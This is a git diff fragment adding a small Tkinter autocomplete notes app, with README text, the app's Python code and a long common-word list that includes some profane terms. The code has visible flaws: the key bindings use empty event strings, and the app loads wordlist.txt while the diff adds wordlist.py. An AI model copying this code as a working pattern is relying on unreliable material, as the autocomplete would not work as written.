3.x installed on your machine. +3. Make sure `wordlist.txt` is in the same directory as the application code. This file should contain words, each on a new line. + +## Usage + +1. Open a terminal or command prompt and navigate to the directory containing the application code. +2. Run the application using the command: + ```bash + python app.py diff --git a/Autocomplete Notes App/app.py b/Autocomplete Notes App/app.py new file mode 100644 index 00000000..90c2ff03 --- /dev/null +++ b/Autocomplete Notes App/app.py @@ -0,0 +1,95 @@ +import tkinter as tk +from tkinter import filedialog, messagebox + +class AutocompleteApp: + def __init__(self, root): + self.root = root + self.root.title("Autocomplete Notes App") + + # Load words from wordlist.txt + self.autocomplete_list = self.load_wordlist("wordlist.txt") + + self.create_widgets() + + def load_wordlist(self, filename): + """Load words from a specified file.""" + try: + with open(filename, 'r') as file: + words = [line.strip() for line in file.readlines() if line.strip()] + return words + except FileNotFoundError: + messagebox.showerror("Error", f"File '{filename}' not found.") + return [] + + def create_widgets(self): + self.large_entry = tk.Text(self.root, wrap=tk.WORD) + self.large_entry.grid(row=0, column=0, padx=10, pady=10, sticky="nsew") + + self.suggestion_entry = tk.Entry(self.root, width=60, state='readonly') + self.suggestion_entry.grid(row=1, column=0, padx=10, pady=5, sticky="ew") + + self.save_button = tk.Button(self.root, text="Save Notes", command=self.save_notes) + self.save_button.grid(row=2, column=0, padx=10, pady=5, sticky="ew") + + self.root.grid_rowconfigure(0, weight=1) + self.root.grid_columnconfigure(0, weight=1) + + self.large_entry.bind("", self.update_suggestion) + self.large_entry.bind("", self.insert_complete_word) + + def update_suggestion(self, event): + """Update the suggestion based on the current input.""" + current_input = self.get_last_word() + suggestion = "" + + if current_input: + matches = [word for word in self.autocomplete_list if word.startswith(current_input)] + if matches: + suggestion = matches[0] + + self.suggestion_entry.config(state='normal') + self.suggestion_entry.delete(0, tk.END) + self.suggestion_entry.insert(0, suggestion) + self.suggestion_entry.config(state='readonly') + + def get_last_word(self): + """Get the last word from the current line of the large entry.""" + cursor_index = self.large_entry.index(tk.INSERT) + line_number = cursor_index.split('.')[0] + line_text = self.large_entry.get(f"{line_number}.0", f"{line_number}.end").strip() # Get the current line text + words = line_text.split() + return words[-1] if words else "" + + def insert_complete_word(self, event): + """Insert the complete word into the large entry when Tab is pressed.""" + complete_word = self.suggestion_entry.get() + if complete_word: + cursor_index = self.large_entry.index(tk.INSERT) + line_number = cursor_index.split('.')[0] + line_text = self.large_entry.get(f"{line_number}.0", f"{line_number}.end").strip() + words = line_text.split() + if words: + words[-1] = complete_word + self.large_entry.delete(f"{line_number}.0", f"{line_number}.end") + self.large_entry.insert(f"{line_number}.0", ' '.join(words)) + + return "break" + + def save_notes(self): + """Save the notes to a file.""" + notes = self.large_entry.get("1.0", tk.END).strip() + if notes: + file_path = filedialog.asksaveasfilename(defaultextension=".txt", + filetypes=[("Text files", "*.txt"), + ("All files", "*.*")]) + if file_path: + with open(file_path, 'w') as file: + file.write(notes) + messagebox.showinfo("Success", "Notes saved successfully!") + else: + messagebox.showwarning("Warning", "No notes to save!") + +if __name__ == "__main__": + root = tk.Tk() + app = AutocompleteApp(root) + root.mainloop() diff --git a/Autocomplete Notes App/wordlist.py b/Autocomplete Notes App/wordlist.py new file mode 100644 index 00000000..a0804248 --- /dev/null +++ b/Autocomplete Notes App/wordlist.py @@ -0,0 +1,9993 @@ +abandoned +abilities +ability +able +aboriginal +abortion +about +above +abraham +abroad +abs +absence +absent +absolute +absolutely +absorption +abstract +abstracts +abu +abuse +ac +academic +academics +academy +acc +accent +accept +acceptable +acceptance +accepted +accepting +accepts +access +accessed +accessibility +accessible +accessing +accessories +accessory +accident +accidents +accommodate +accommodation +accommodations +accompanied +accompanying +accomplish +accomplished +accordance +according +accordingly +account +accountability +accounting +accounts +accreditation +accredited +accuracy +accurate +accurately +accused +acdbentity +ace +acer +achieve +achieved +achievement +achievements +achieving +acid +acids +acknowledge +acknowledged +acm +acne +acoustic +acquire +acquired +acquisition +acquisitions +acre +acres +acrobat +across +acrylic +act +acting +action +actions +activated +activation +active +actively +activists +activities +activity +actor +actors +actress +acts +actual +actually +acute +ad +ada +adam +adams +adaptation +adapted +adapter +adapters +adaptive +adaptor +add +added +addiction +adding +addition +additional +additionally +additions +address +addressed +addresses +addressing +adds +adelaide +adequate +adidas +adipex +adjacent +adjust +adjustable +adjusted +adjustment +adjustments +admin +administered +administration +administrative +administrator +administrators +admission +admissions +admit +admitted +adobe +adolescent +adopt +adopted +adoption +adrian +ads +adsl +adult +adults +advance +advanced +advancement +advances +advantage +advantages +adventure +adventures +adverse +advert +advertise +advertisement +advertisements +advertiser +advertisers +advertising +advice +advise +advised +advisor +advisors +advisory +advocacy +advocate +adware +ae +aerial +aerospace +af +affair +affairs +affect +affected +affecting +affects +affiliate +affiliated +affiliates +affiliation +afford +affordable +afghanistan +afraid +africa +african +after +afternoon +afterwards +ag +again +against +age +aged +agencies +agency +agenda +agent +agents +ages +aggregate +aggressive +aging +ago +agree +agreed +agreement +agreements +agrees +agricultural +agriculture +ah +ahead +ai +aid +aids +aim +aimed +aims +air +aircraft +airfare +airline +airlines +airplane +airport +airports +aj +ak +aka +al +ala +alabama +alan +alarm +alaska +albania +albany +albert +alberta +album +albums +albuquerque +alcohol +alert +alerts +alex +alexander +alexandria +alfred +algebra +algeria +algorithm +algorithms +ali +alias +alice +alien +align +alignment +alike +alive +all +allah +allan +alleged +allen +allergy +alliance +allied +allocated +allocation +allow +allowance +allowed +allowing +allows +alloy +almost +alone +along +alot +alpha +alphabetical +alpine +already +also +alt +alter +altered +alternate +alternative +alternatively +alternatives +although +alto +aluminium +aluminum +alumni +always +am +amanda +amateur +amazing +amazon +amazoncom +amazoncouk +ambassador +amber +ambien +ambient +amd +amend +amended +amendment +amendments +amenities +america +american +americans +americas +amino +among +amongst +amount +amounts +amp +ampland +amplifier +amsterdam +amy +an +ana +anaheim +anal +analog +analyses +analysis +analyst +analysts +analytical +analyze +analyzed +anatomy +anchor +ancient +and +andale +anderson +andorra +andrea +andreas +andrew +andrews +andy +angel +angela +angeles +angels +anger +angle +angola +angry +animal +animals +animated +animation +anime +ann +anna +anne +annex +annie +anniversary +annotated +annotation +announce +announced +announcement +announcements +announces +annoying +annual +annually +anonymous +another +answer +answered +answering +answers +ant +antarctica +antenna +anthony +anthropology +anti +antibodies +antibody +anticipated +antigua +antique +antiques +antivirus +antonio +anxiety +any +anybody +anymore +anyone +anything +anytime +anyway +anywhere +aol +ap +apache +apart +apartment +apartments +api +apnic +apollo +app +apparatus +apparel +apparent +apparently +appeal +appeals +appear +appearance +appeared +appearing +appears +appendix +apple +appliance +appliances +applicable +applicant +applicants +application +applications +applied +applies +apply +applying +appointed +appointment +appointments +appraisal +appreciate +appreciated +appreciation +approach +approaches +appropriate +appropriations +approval +approve +approved +approx +approximate +approximately +apps +apr +april +apt +aqua +aquarium +aquatic +ar +arab +arabia +arabic +arbitrary +arbitration +arc +arcade +arch +architect +architects +architectural +architecture +archive +archived +archives +arctic +are +area +areas +arena +arg +argentina +argue +argued +argument +arguments +arise +arising +arizona +arkansas +arlington +arm +armed +armenia +armor +arms +armstrong +army +arnold +around +arrange +arranged +arrangement +arrangements +array +arrest +arrested +arrival +arrivals +arrive +arrived +arrives +arrow +art +arthritis +arthur +article +articles +artificial +artist +artistic +artists +arts +artwork +aruba +as +asbestos +ascii +ash +ashley +asia +asian +aside +asin +ask +asked +asking +asks +asn +asp +aspect +aspects +aspnet +ass +assault +assembled +assembly +assess +assessed +assessing +assessment +assessments +asset +assets +assign +assigned +assignment +assignments +assist +assistance +assistant +assisted +assists +associate +associated +associates +association +associations +assume +assumed +assumes +assuming +assumption +assumptions +assurance +assure +assured +asthma +astrology +astronomy +asus +at +ata +ate +athens +athletes +athletic +athletics +ati +atlanta +atlantic +atlas +atm +atmosphere +atmospheric +atom +atomic +attach +attached +attachment +attachments +attack +attacked +attacks +attempt +attempted +attempting +attempts +attend +attendance +attended +attending +attention +attitude +attitudes +attorney +attorneys +attract +attraction +attractions +attractive +attribute +attributes +au +auburn +auckland +auction +auctions +aud +audi +audience +audio +audit +auditor +aug +august +aurora +aus +austin +australia +australian +austria +authentic +authentication +author +authorities +authority +authorization +authorized +authors +auto +automated +automatic +automatically +automation +automobile +automobiles +automotive +autos +autumn +av +availability +available +avatar +ave +avenue +average +avg +avi +aviation +avoid +avoiding +avon +aw +award +awarded +awards +aware +awareness +away +awesome +awful +axis +aye +az +azerbaijan +b +ba +babe +babes +babies +baby +bachelor +back +backed +background +backgrounds +backing +backup +bacon +bacteria +bacterial +bad +badge +badly +bag +baghdad +bags +bahamas +bahrain +bailey +baker +baking +balance +balanced +bald +bali +ball +ballet +balloon +ballot +balls +baltimore +ban +banana +band +bands +bandwidth +bang +bangbus +bangkok +bangladesh +bank +banking +bankruptcy +banks +banned +banner +banners +baptist +bar +barbados +barbara +barbie +barcelona +bare +barely +bargain +bargains +barn +barnes +barrel +barrier +barriers +barry +bars +base +baseball +based +baseline +basement +basename +bases +basic +basically +basics +basin +basis +basket +basketball +baskets +bass +bat +batch +bath +bathroom +bathrooms +baths +batman +batteries +battery +battle +battlefield +bay +bb +bbc +bbs +bbw +bc +bd +bdsm +be +beach +beaches +beads +beam +bean +beans +bear +bearing +bears +beast +beastality +beastiality +beat +beatles +beats +beautiful +beautifully +beauty +beaver +became +because +become +becomes +becoming +bed +bedding +bedford +bedroom +bedrooms +beds +bee +beef +been +beer +before +began +begin +beginner +beginners +beginning +begins +begun +behalf +behavior +behavioral +behaviour +behind +beijing +being +beings +belarus +belfast +belgium +belief +beliefs +believe +believed +believes +belize +belkin +bell +belle +belly +belong +belongs +below +belt +belts +ben +bench +benchmark +bend +beneath +beneficial +benefit +benefits +benjamin +bennett +benz +berkeley +berlin +bermuda +bernard +berry +beside +besides +best +bestiality +bestsellers +bet +beta +beth +better +betting +betty +between +beverage +beverages +beverly +beyond +bg +bhutan +bi +bias +bible +biblical +bibliographic +bibliography +bicycle +bid +bidder +bidding +bids +big +bigger +biggest +bike +bikes +bikini +bill +billing +billion +bills +billy +bin +binary +bind +binding +bingo +bio +biodiversity +biographies +biography +biol +biological +biology +bios +biotechnology +bird +birds +birmingham +birth +birthday +bishop +bit +bitch +bite +bits +biz +bizarre +bizrate +bk +bl +black +blackberry +blackjack +blacks +blade +blades +blah +blair +blake +blame +blank +blanket +blast +bleeding +blend +bless +blessed +blind +blink +block +blocked +blocking +blocks +blog +blogger +bloggers +blogging +blogs +blond +blonde +blood +bloody +bloom +bloomberg +blow +blowing +blowjob +blowjobs +blue +blues +bluetooth +blvd +bm +bmw +bo +board +boards +boat +boating +boats +bob +bobby +boc +bodies +body +bold +bolivia +bolt +bomb +bon +bond +bondage +bonds +bone +bones +bonus +boob +boobs +book +booking +bookings +bookmark +bookmarks +books +bookstore +bool +boolean +boom +boost +boot +booth +boots +booty +border +borders +bored +boring +born +borough +bosnia +boss +boston +both +bother +botswana +bottle +bottles +bottom +bought +boulder +boulevard +bound +boundaries +boundary +bouquet +boutique +bow +bowl +bowling +box +boxed +boxes +boxing +boy +boys +bp +br +bra +bracelet +bracelets +bracket +brad +bradford +bradley +brain +brake +brakes +branch +branches +brand +brandon +brands +bras +brass +brave +brazil +brazilian +breach +bread +break +breakdown +breakfast +breaking +breaks +breast +breasts +breath +breathing +breed +breeding +breeds +brian +brick +bridal +bride +bridge +bridges +brief +briefing +briefly +briefs +bright +brighton +brilliant +bring +bringing +brings +brisbane +bristol +britain +britannica +british +britney +broad +broadband +broadcast +broadcasting +broader +broadway +brochure +brochures +broke +broken +broker +brokers +bronze +brook +brooklyn +brooks +bros +brother +brothers +brought +brown +browse +browser +browsers +browsing +bruce +brunei +brunette +brunswick +brush +brussels +brutal +bryan +bryant +bs +bt +bubble +buck +bucks +budapest +buddy +budget +budgets +buf +buffalo +buffer +bufing +bug +bugs +build +builder +builders +building +buildings +builds +built +bukkake +bulgaria +bulgarian +bulk +bull +bullet +bulletin +bumper +bunch +bundle +bunny +burden +bureau +buried +burke +burlington +burn +burner +burning +burns +burst +burton +bus +buses +bush +business +businesses +busty +busy +but +butler +butt +butter +butterfly +button +buttons +butts +buy +buyer +buyers +buying +buys +buzz +bw +by +bye +byte +bytes +c +ca +cab +cabin +cabinet +cabinets +cable +cables +cache +cached +cad +cadillac +cafe +cage +cake +cakes +cal +calcium +calculate +calculated +calculation +calculations +calculator +calculators +calendar +calendars +calgary +calibration +calif +california +call +called +calling +calls +calm +calvin +cam +cambodia +cambridge +camcorder +camcorders +came +camel +camera +cameras +cameron +cameroon +camp +campaign +campaigns +campbell +camping +camps +campus +cams +can +canada +canadian +canal +canberra +cancel +cancellation +cancelled +cancer +candidate +candidates +candle +candles +candy +cannon +canon +cant +canvas +canyon +cap +capabilities +capability +capable +capacity +cape +capital +capitol +caps +captain +capture +captured +car +carb +carbon +card +cardiac +cardiff +cardiovascular +cards +care +career +careers +careful +carefully +carey +cargo +caribbean +caring +carl +carlo +carlos +carmen +carnival +carol +carolina +caroline +carpet +carried +carrier +carriers +carries +carroll +carry +carrying +cars +cart +carter +cartoon +cartoons +cartridge +cartridges +cas +casa +case +cases +casey +cash +cashiers +casino +casinos +casio +cassette +cast +casting +castle +casual +cat +catalog +catalogs +catalogue +catalyst +catch +categories +category +catering +cathedral +catherine +catholic +cats +cattle +caught +cause +caused +causes +causing +caution +cave +cayman +cb +cbs +cc +ccd +cd +cdna +cds +cdt +ce +cedar +ceiling +celebrate +celebration +celebrities +celebrity +celebs +cell +cells +cellular +celtic +cement +cemetery +census +cent +center +centered +centers +central +centre +centres +cents +centuries +century +ceo +ceramic +ceremony +certain +certainly +certificate +certificates +certification +certified +cest +cet +cf +cfr +cg +cgi +ch +chad +chain +chains +chair +chairman +chairs +challenge +challenged +challenges +challenging +chamber +chambers +champagne +champion +champions +championship +championships +chan +chance +chancellor +chances +change +changed +changelog +changes +changing +channel +channels +chaos +chapel +chapter +chapters +char +character +characteristic +characteristics +characterization +characterized +characters +charge +charged +charger +chargers +charges +charging +charitable +charity +charles +charleston +charlie +charlotte +charm +charming +charms +chart +charter +charts +chase +chassis +chat +cheap +cheaper +cheapest +cheat +cheats +check +checked +checking +checklist +checkout +checks +cheers +cheese +chef +chelsea +chem +chemical +chemicals +chemistry +chen +cheque +cherry +chess +chest +chester +chevrolet +chevy +chi +chicago +chick +chicken +chicks +chief +child +childhood +children +childrens +chile +china +chinese +chip +chips +cho +chocolate +choice +choices +choir +cholesterol +choose +choosing +chorus +chose +chosen +chris +christ +christian +christianity +christians +christina +christine +christmas +christopher +chrome +chronic +chronicle +chronicles +chrysler +chubby +chuck +church +churches +ci +cia +cialis +ciao +cigarette +cigarettes +cincinnati +cindy +cinema +cingular +cio +cir +circle +circles +circuit +circuits +circular +circulation +circumstances +circus +cisco +citation +citations +cite +cited +cities +citizen +citizens +citizenship +city +citysearch +civic +civil +civilian +civilization +cj +cl +claim +claimed +claims +claire +clan +clara +clarity +clark +clarke +class +classes +classic +classical +classics +classification +classified +classifieds +classroom +clause +clay +clean +cleaner +cleaners +cleaning +cleanup +clear +clearance +cleared +clearing +clearly +clerk +cleveland +click +clicking +clicks +client +clients +cliff +climate +climb +climbing +clinic +clinical +clinics +clinton +clip +clips +clock +clocks +clone +close +closed +closely +closer +closes +closest +closing +closure +cloth +clothes +clothing +cloud +clouds +cloudy +club +clubs +cluster +clusters +cm +cms +cn +cnet +cnetcom +cnn +co +coach +coaches +coaching +coal +coalition +coast +coastal +coat +coated +coating +cock +cocks +cod +code +codes +coding +coffee +cognitive +cohen +coin +coins +col +cold +cole +coleman +colin +collaboration +collaborative +collapse +collar +colleague +colleagues +collect +collectables +collected +collectible +collectibles +collecting +collection +collections +collective +collector +collectors +college +colleges +collins +cologne +colombia +colon +colonial +colony +color +colorado +colored +colors +colour +colours +columbia +columbus +column +columnists +columns +com +combat +combination +combinations +combine +combined +combines +combining +combo +come +comedy +comes +comfort +comfortable +comic +comics +coming +comm +command +commander +commands +comment +commentary +commented +comments +commerce +commercial +commission +commissioner +commissioners +commissions +commit +commitment +commitments +committed +committee +committees +commodities +commodity +common +commonly +commons +commonwealth +communicate +communication +communications +communist +communities +community +comp +compact +companies +companion +company +compaq +comparable +comparative +compare +compared +comparing +comparison +comparisons +compatibility +compatible +compensation +compete +competent +competing +competition +competitions +competitive +competitors +compilation +compile +compiled +compiler +complaint +complaints +complement +complete +completed +completely +completing +completion +complex +complexity +compliance +compliant +complicated +complications +complimentary +comply +component +components +composed +composer +composite +composition +compound +compounds +comprehensive +compressed +compression +compromise +computation +computational +compute +computed +computer +computers +computing +con +concentrate +concentration +concentrations +concept +concepts +conceptual +concern +concerned +concerning +concerns +concert +concerts +conclude +concluded +conclusion +conclusions +concord +concrete +condition +conditional +conditioning +conditions +condo +condos +conduct +conducted +conducting +conf +conference +conferences +conferencing +confidence +confident +confidential +confidentiality +config +configuration +configure +configured +configuring +confirm +confirmation +confirmed +conflict +conflicts +confused +confusion +congo +congratulations +congress +congressional +conjunction +connect +connected +connecticut +connecting +connection +connections +connectivity +connector +connectors +cons +conscious +consciousness +consecutive +consensus +consent +consequence +consequences +consequently +conservation +conservative +consider +considerable +consideration +considerations +considered +considering +considers +consist +consistency +consistent +consistently +consisting +consists +console +consoles +consolidated +consolidation +consortium +conspiracy +const +constant +constantly +constitute +constitutes +constitution +constitutional +constraint +constraints +construct +constructed +construction +consult +consultancy +consultant +consultants +consultation +consulting +consumer +consumers +consumption +contact +contacted +contacting +contacts +contain +contained +container +containers +containing +contains +contamination +contemporary +content +contents +contest +contests +context +continent +continental +continually +continue +continued +continues +continuing +continuity +continuous +continuously +contract +contracting +contractor +contractors +contracts +contrary +contrast +contribute +contributed +contributing +contribution +contributions +contributor +contributors +control +controlled +controller +controllers +controlling +controls +controversial +controversy +convenience +convenient +convention +conventional +conventions +convergence +conversation +conversations +conversion +convert +converted +converter +convertible +convicted +conviction +convinced +cook +cookbook +cooked +cookie +cookies +cooking +cool +cooler +cooling +cooper +cooperation +cooperative +coordinate +coordinated +coordinates +coordination +coordinator +cop +cope +copied +copies +copper +copy +copying +copyright +copyrighted +copyrights +coral +cord +cordless +core +cork +corn +cornell +corner +corners +cornwall +corp +corporate +corporation +corporations +corps +corpus +correct +corrected +correction +corrections +correctly +correlation +correspondence +corresponding +corruption +cos +cosmetic +cosmetics +cost +costa +costs +costume +costumes +cottage +cottages +cotton +could +council +councils +counsel +counseling +count +counted +counter +counters +counties +counting +countries +country +counts +county +couple +coupled +couples +coupon +coupons +courage +courier +course +courses +court +courtesy +courts +cove +cover +coverage +covered +covering +covers +cow +cowboy +cox +cp +cpu +cr +crack +cradle +craft +crafts +craig +crap +craps +crash +crawford +crazy +cream +create +created +creates +creating +creation +creations +creative +creativity +creator +creature +creatures +credit +credits +creek +crest +crew +cricket +crime +crimes +criminal +crisis +criteria +criterion +critical +criticism +critics +crm +croatia +crop +crops +cross +crossing +crossword +crowd +crown +crucial +crude +cruise +cruises +cruz +cry +crystal +cs +css +cst +ct +cu +cuba +cube +cubic +cuisine +cult +cultural +culture +cultures +cum +cumshot +cumshots +cumulative +cunt +cup +cups +cure +curious +currencies +currency +current +currently +curriculum +cursor +curtis +curve +curves +custody +custom +customer +customers +customise +customize +customized +customs +cut +cute +cuts +cutting +cv +cvs +cw +cyber +cycle +cycles +cycling +cylinder +cyprus +cz +czech +d +da +dad +daddy +daily +dairy +daisy +dakota +dale +dallas +dam +damage +damaged +damages +dame +damn +dan +dana +dance +dancing +danger +dangerous +daniel +danish +danny +dans +dare +dark +darkness +darwin +das +dash +dat +data +database +databases +date +dated +dates +dating +daughter +daughters +dave +david +davidson +davis +dawn +day +days +dayton +db +dc +dd +ddr +de +dead +deadline +deadly +deaf +deal +dealer +dealers +dealing +deals +dealt +dealtime +dean +dear +death +deaths +debate +debian +deborah +debt +debug +debut +dec +decade +decades +december +decent +decide +decided +decimal +decision +decisions +deck +declaration +declare +declared +decline +declined +decor +decorating +decorative +decrease +decreased +dedicated +dee +deemed +deep +deeper +deeply +deer +def +default +defeat +defects +defence +defend +defendant +defense +defensive +deferred +deficit +define +defined +defines +defining +definitely +definition +definitions +degree +degrees +del +delaware +delay +delayed +delays +delegation +delete +deleted +delhi +delicious +delight +deliver +delivered +delivering +delivers +delivery +dell +delta +deluxe +dem +demand +demanding +demands +demo +democracy +democrat +democratic +democrats +demographic +demonstrate +demonstrated +demonstrates +demonstration +den +denial +denied +denmark +dennis +dense +density +dental +dentists +denver +deny +department +departmental +departments +departure +depend +dependence +dependent +depending +depends +deployment +deposit +deposits +depot +depression +dept +depth +deputy +der +derby +derek +derived +des +descending +describe +described +describes +describing +description +descriptions +desert +deserve +design +designated +designation +designed +designer +designers +designing +designs +desirable +desire +desired +desk +desktop +desktops +desperate +despite +destination +destinations +destiny +destroy +destroyed +destruction +detail +detailed +details +detect +detected +detection +detective +detector +determination +determine +determined +determines +determining +detroit +deutsch +deutsche +deutschland +dev +devel +develop +developed +developer +developers +developing +development +developmental +developments +develops +deviant +deviation +device +devices +devil +devon +devoted +df +dg +dh +di +diabetes +diagnosis +diagnostic +diagram +dial +dialog +dialogue +diameter +diamond +diamonds +diana +diane +diary +dice +dick +dicke +dicks +dictionaries +dictionary +did +die +died +diego +dies +diesel +diet +dietary +diff +differ +difference +differences +different +differential +differently +difficult +difficulties +difficulty +diffs +dig +digest +digit +digital +dildo +dildos +dim +dimension +dimensional +dimensions +dining +dinner +dip +diploma +dir +direct +directed +direction +directions +directive +directly +director +directories +directors +directory +dirt +dirty +dis +disabilities +disability +disable +disabled +disagree +disappointed +disaster +disc +discharge +disciplinary +discipline +disciplines +disclaimer +disclaimers +disclose +disclosure +disco +discount +discounted +discounts +discover +discovered +discovery +discrete +discretion +discrimination +discs +discuss +discussed +discusses +discussing +discussion +discussions +disease +diseases +dish +dishes +disk +disks +disney +disorder +disorders +dispatch +dispatched +display +displayed +displaying +displays +disposal +disposition +dispute +disputes +dist +distance +distances +distant +distinct +distinction +distinguished +distribute +distributed +distribution +distributions +distributor +distributors +district +districts +disturbed +div +dive +diverse +diversity +divide +divided +dividend +divine +diving +division +divisions +divorce +divx +diy +dj +dk +dl +dm +dna +dns +do +doc +dock +docs +doctor +doctors +doctrine +document +documentary +documentation +documentcreatetextnode +documented +documents +dod +dodge +doe +does +dog +dogs +doing +doll +dollar +dollars +dolls +dom +domain +domains +dome +domestic +dominant +dominican +don +donald +donate +donated +donation +donations +done +donna +donor +donors +dont +doom +door +doors +dos +dosage +dose +dot +double +doubt +doug +douglas +dover +dow +down +download +downloadable +downloadcom +downloaded +downloading +downloads +downtown +dozen +dozens +dp +dpi +dr +draft +drag +dragon +drain +drainage +drama +dramatic +dramatically +draw +drawing +drawings +drawn +draws +dream +dreams +dress +dressed +dresses +dressing +drew +dried +drill +drilling +drink +drinking +drinks +drive +driven +driver +drivers +drives +driving +drop +dropped +drops +drove +drug +drugs +drum +drums +drunk +dry +dryer +ds +dsc +dsl +dt +dts +du +dual +dubai +dublin +duck +dude +due +dui +duke +dumb +dump +duncan +duo +duplicate +durable +duration +durham +during +dust +dutch +duties +duty +dv +dvd +dvds +dx +dying +dylan +dynamic +dynamics +e +ea +each +eagle +eagles +ear +earl +earlier +earliest +early +earn +earned +earning +earnings +earrings +ears +earth +earthquake +ease +easier +easily +east +easter +eastern +easy +eat +eating +eau +ebay +ebony +ebook +ebooks +ec +echo +eclipse +eco +ecological +ecology +ecommerce +economic +economics +economies +economy +ecuador +ed +eddie +eden +edgar +edge +edges +edinburgh +edit +edited +editing +edition +editions +editor +editorial +editorials +editors +edmonton +eds +edt +educated +education +educational +educators +edward +edwards +ee +ef +effect +effective +effectively +effectiveness +effects +efficiency +efficient +efficiently +effort +efforts +eg +egg +eggs +egypt +egyptian +eh +eight +either +ejaculation +el +elder +elderly +elect +elected +election +elections +electoral +electric +electrical +electricity +electro +electron +electronic +electronics +elegant +element +elementary +elements +elephant +elevation +eleven +eligibility +eligible +eliminate +elimination +elite +elizabeth +ellen +elliott +ellis +else +elsewhere +elvis +em +emacs +email +emails +embassy +embedded +emerald +emergency +emerging +emily +eminem +emirates +emission +emissions +emma +emotional +emotions +emperor +emphasis +empire +empirical +employ +employed +employee +employees +employer +employers +employment +empty +en +enable +enabled +enables +enabling +enb +enclosed +enclosure +encoding +encounter +encountered +encourage +encouraged +encourages +encouraging +encryption +encyclopedia +end +endangered +ended +endif +ending +endless +endorsed +endorsement +ends +enemies +enemy +energy +enforcement +eng +engage +engaged +engagement +engaging +engine +engineer +engineering +engineers +engines +england +english +enhance +enhanced +enhancement +enhancements +enhancing +enjoy +enjoyed +enjoying +enlarge +enlargement +enormous +enough +enquiries +enquiry +enrolled +enrollment +ensemble +ensure +ensures +ensuring +ent +enter +entered +entering +enterprise +enterprises +enters +entertaining +entertainment +entire +entirely +entities +entitled +entity +entrance +entrepreneur +entrepreneurs +entries +entry +envelope +environment +environmental +environments +enzyme +eos +ep +epa +epic +epinions +epinionscom +episode +episodes +epson +eq +equal +equality +equally +equation +equations +equilibrium +equipment +equipped +equity +equivalent +er +era +eric +ericsson +erik +erotic +erotica +erp +error +errors +es +escape +escort +escorts +especially +espn +essay +essays +essence +essential +essentially +essentials +essex +est +establish +established +establishing +establishment +estate +estates +estimate +estimated +estimates +estimation +estonia +et +etc +eternal +ethernet +ethical +ethics +ethiopia +ethnic +eu +eugene +eur +euro +europe +european +euros +ev +eva +eval +evaluate +evaluated +evaluating +evaluation +evaluations +evanescence +evans +eve +even +evening +event +events +eventually +ever +every +everybody +everyday +everyone +everything +everywhere +evidence +evident +evil +evolution +ex +exact +exactly +exam +examination +examinations +examine +examined +examines +examining +example +examples +exams +exceed +excel +excellence +excellent +except +exception +exceptional +exceptions +excerpt +excess +excessive +exchange +exchanges +excited +excitement +exciting +exclude +excluded +excluding +exclusion +exclusive +exclusively +excuse +exec +execute +executed +execution +executive +executives +exempt +exemption +exercise +exercises +exhaust +exhibit +exhibition +exhibitions +exhibits +exist +existed +existence +existing +exists +exit +exotic +exp +expand +expanded +expanding +expansion +expansys +expect +expectations +expected +expects +expedia +expenditure +expenditures +expense +expenses +expensive +experience +experienced +experiences +experiencing +experiment +experimental +experiments +expert +expertise +experts +expiration +expired +expires +explain +explained +explaining +explains +explanation +explicit +explicitly +exploration +explore +explorer +exploring +explosion +expo +export +exports +exposed +exposure +express +expressed +expression +expressions +ext +extend +extended +extending +extends +extension +extensions +extensive +extent +exterior +external +extra +extract +extraction +extraordinary +extras +extreme +extremely +eye +eyed +eyes +ez +f +fa +fabric +fabrics +fabulous +face +faced +faces +facial +facilitate +facilities +facility +facing +fact +factor +factors +factory +facts +faculty +fail +failed +failing +fails +failure +failures +fair +fairfield +fairly +fairy +faith +fake +fall +fallen +falling +falls +false +fame +familiar +families +family +famous +fan +fancy +fans +fantastic +fantasy +faq +faqs +far +fare +fares +farm +farmer +farmers +farming +farms +fascinating +fashion +fast +faster +fastest +fat +fatal +fate +father +fathers +fatty +fault +favor +favorite +favorites +favors +favour +favourite +favourites +fax +fbi +fc +fcc +fd +fda +fe +fear +fears +feat +feature +featured +features +featuring +feb +february +fed +federal +federation +fee +feed +feedback +feeding +feeds +feel +feeling +feelings +feels +fees +feet +fell +fellow +fellowship +felt +female +females +fence +feof +ferrari +ferry +festival +festivals +fetish +fever +few +fewer +ff +fg +fi +fiber +fibre +fiction +field +fields +fifteen +fifth +fifty +fig +fight +fighter +fighters +fighting +figure +figured +figures +fiji +file +filed +filename +files +filing +fill +filled +filling +film +filme +films +filter +filtering +filters +fin +final +finally +finals +finance +finances +financial +financing +find +findarticles +finder +finding +findings +findlaw +finds +fine +finest +finger +fingering +fingers +finish +finished +finishing +finite +finland +finnish +fioricet +fire +fired +firefox +fireplace +fires +firewall +firewire +firm +firms +firmware +first +fiscal +fish +fisher +fisheries +fishing +fist +fisting +fit +fitness +fits +fitted +fitting +five +fix +fixed +fixes +fixtures +fl +fla +flag +flags +flame +flash +flashers +flashing +flat +flavor +fleece +fleet +flesh +flex +flexibility +flexible +flickr +flight +flights +flip +float +floating +flood +floor +flooring +floors +floppy +floral +florence +florida +florist +florists +flour +flow +flower +flowers +flows +floyd +flu +fluid +flush +flux +fly +flyer +flying +fm +fo +foam +focal +focus +focused +focuses +focusing +fog +fold +folder +folders +folding +folk +folks +follow +followed +following +follows +font +fonts +foo +food +foods +fool +foot +footage +football +footwear +for +forbes +forbidden +force +forced +forces +ford +forecast +forecasts +foreign +forest +forestry +forests +forever +forge +forget +forgot +forgotten +fork +form +formal +format +formation +formats +formatting +formed +former +formerly +forming +forms +formula +fort +forth +fortune +forty +forum +forums +forward +forwarding +fossil +foster +foto +fotos +fought +foul +found +foundation +foundations +founded +founder +fountain +four +fourth +fox +fp +fr +fraction +fragrance +fragrances +frame +framed +frames +framework +framing +france +franchise +francis +francisco +frank +frankfurt +franklin +fraser +fraud +fred +frederick +free +freebsd +freedom +freelance +freely +freeware +freeze +freight +french +frequencies +frequency +frequent +frequently +fresh +fri +friday +fridge +friend +friendly +friends +friendship +frog +from +front +frontier +frontpage +frost +frozen +fruit +fruits +fs +ft +ftp +fu +fuck +fucked +fucking +fuel +fuji +fujitsu +full +fully +fun +function +functional +functionality +functioning +functions +fund +fundamental +fundamentals +funded +funding +fundraising +funds +funeral +funk +funky +funny +fur +furnished +furnishings +furniture +further +furthermore +fusion +future +futures +fuzzy +fw +fwd +fx +fy +g +ga +gabriel +gadgets +gage +gain +gained +gains +galaxy +gale +galleries +gallery +gambling +game +gamecube +games +gamespot +gaming +gamma +gang +gangbang +gap +gaps +garage +garbage +garcia +garden +gardening +gardens +garlic +garmin +gary +gas +gasoline +gate +gates +gateway +gather +gathered +gathering +gauge +gave +gay +gays +gazette +gb +gba 